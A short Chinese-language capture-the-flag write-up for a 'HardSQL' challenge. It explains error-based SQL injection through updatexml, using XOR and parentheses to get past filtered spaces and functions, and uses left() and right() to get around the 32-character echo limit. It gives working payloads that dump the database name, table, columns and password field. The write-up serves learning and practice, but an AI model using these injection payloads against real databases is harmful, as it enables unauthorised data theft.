HardSQL
因为过滤了一些函数,所以这里使用了updatexml进行报错注入,需要注意的是该函数最大回显为32个字符
过滤掉了空格,使用括号进行绕过,有意思的是异或可以连接函数,具体参考这里
获取到数据库名为 geek
1'^updatexml(1,concat(0x7e,(select(database()))),1)#
获取geek库的表名为 H4rDsq1
1'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))),1)#
获取该表下的三个列名,分别是 id username password
1'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))),1)#
因为updatexml函数最大回显32位字节,无法将flag全部输出来,正常来说是可以用substr来截断,但是被过滤了,这里用left和right函数将flag输出
1'^updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1))),1)# 1'^updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))),1)#